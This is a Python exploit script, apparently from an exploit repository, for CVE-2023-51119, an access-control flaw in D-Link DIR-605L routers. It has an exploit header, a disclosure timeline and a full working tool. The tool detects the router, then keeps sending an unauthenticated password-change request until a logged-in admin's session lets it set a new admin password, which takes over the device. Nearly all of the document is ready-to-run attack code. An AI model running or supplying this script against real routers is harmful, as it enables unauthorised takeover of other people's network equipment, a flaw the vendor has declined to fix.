README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit Title: Improper Access Control Vulnerability on D-Link DIR-605L router
Date: 08/01/2024
Exploit Author: OscarAkaElvis
Vendor Homepage: https://www.dlink.com/
Version: D-Link DIR-605L router
Tested on: Software/Firmware version 2.13, Hardware version B2
CVE: CVE-2023-51119
Disclosure timeline:
11/12/2023: Vulnerability was discovered
12/12/2023: Reported to Mitre
20/12/2023: No answer yet from Mitre, reported to D-Link as part of responsible disclosure
22/12/2023: Vulnerability confirmed by D-Link, won't fix announcement published (https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10368)
23/12/2023: Vendor's announcement link shared to Mitre
04/01/2024: Mitre assigned CVE number (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-51119)
07/01/2024: Public disclosure (https://twitter.com/OscarAkaElvis/status/1744042753707712916)
08/01/2024: Exploit creation and PoC video created (https://twitter.com/OscarAkaElvis/status/1744452649011892566)
08/01/2024: Exploit sent to Exploit-db, no answer
21/04/2024: Exploit-db resubmission
Exploitation explanation:
Due to an incorrect access control, a takeover can be done over the admin account without any kind of authentication sending a request under special circumstances (only needs a legitimate admin to be logged in)
Actually, any router's doable action on the web configuration panel can be done including the change of the admin's password (leading into the takeover)
This exploit automatize the entire process to set any password for admin user on the router
Happy hacking :)
OscarAkaElvis - https://twitter.com/OscarAkaElvis
"""
# Dependencies and libraries
import requests
import re
from sys import argv, exit
import argparse
from os import path
from time import sleep
from base64 import b64encode
class Exploit(object):
# Global class vars
session = requests.Session()
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.99 Safari/537.36"
ip = None
username = "admin"
password = None
default_ip = "192.168.0.1"
default_password = "SessionHijacked"
b64_password = ""
exploit_version = "1.0"
script_name = path.basename(argv[0])
description_text = 'CVE-2023-51119 exploit by OscarAkaElvis, Improper Access Control Vulnerability on D-Link DIR-605L router. Password for admin user can be set'
epilog_text = 'Examples:\n python3 ' + script_name + ' -i 192.168.0.150\n python3 ' + script_name + ' -p anyPassword\n python3 ' + script_name + ' -i 10.0.0.1 -p anyPassword'
def start_msg(self):
print("[*] Starting CVE-2023-51119 exploit...")
sleep(0.5)
def check_params(self, arguments):
parser = argparse.ArgumentParser(description=self.description_text, formatter_class=argparse.RawDescriptionHelpFormatter, epilog=self.epilog_text)
parser.add_argument('-i', '--ip', dest='ip', required=False, help="set router's ip", metavar='IP')
parser.add_argument('-p', '--password', dest='password', required=False, help="password to set for admin user on the router (15 chars max)", metavar='PASSWORD')
parser.add_argument('-v', '--version', action='version', version=self.print_version(), help="show exploit's version number and exit")
args = parser.parse_args(arguments)
self.start_msg()
print("[*] Launch the exploit using -h argument to check all the available options")
print()
if not args.ip:
self.ip = self.default_ip
print("[!] Warning, no ip set, default will be used: " + str(self.ip))
else:
self.ip = args.ip
if not args.password:
self.password = self.default_password
print("[!] Warning, no password chosen, default will be set: " + str(self.password))
else:
if len(args.password) > 15:
print()
print("[-] Please, set a 15 chars max password. Exiting...")
exit(1)
else:
self.password = args.password
def print_version(self):
print()
return 'v{}'.format(self.exploit_version)
def check_router(self):
try:
print("[*] Trying to detect router...")
headers = {"User-Agent": self.user_agent}
response = self.session.get("http://" + str(self.ip) + "/comm.asp", headers=headers)
if re.match(r'.*DIR-605L.*', str(response.text)):
print("[+] D-Link DIR-605L router detected successfully")
else:
print()
print("[-] It seems the target is not a D-Link router")
print("[*] Exiting...")
exit(1)
except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
print()
print("[-] Can't connect to the router")
print("[*] Exiting...")
exit(1)
def hijack_password(self):
try:
data = {'settingsChanged': '1', 'config.login_name': self.username, 'config.password': self.b64_password}
headers = {"User-Agent": self.user_agent}
response = self.session.post("http://" + str(self.ip) + "/goform/formSetPassword", headers=headers, data=data, allow_redirects=True)
if int(response.headers['Content-Length']) > 3000:
return True
else:
return False
except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
return False
def do_magic(self):
try:
print()
print("[*] This exploit will work only if a legitimate admin is logged in")
print("[*] Trying to hijack router's password...")
self.b64_password = b64encode(self.password.encode('utf-8')).decode('utf-8')
print()
while not self.hijack_password():
print("[-] It seems no admin session yet to perform the password hijacking. Waiting 5 seconds...")
sleep(5)
print("[+] Password for admin user set on router successfully: " + self.password)
print("[+] Happy hacking :) . Author: OscarAkaElvis")
except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
print()
print("[!] An unexpected error occurred. Exiting...")
exit(1)
except KeyboardInterrupt:
print()
print("[!] Ctrl+C trap captured. Exiting...")
exit(1)
@staticmethod
def main(self, arguments):
self.check_params(arguments)
self.check_router()
self.do_magic()
exit(0)
if __name__ == '__main__':
ImportObject = Exploit()
ImportObject.main(ImportObject, argv[1:])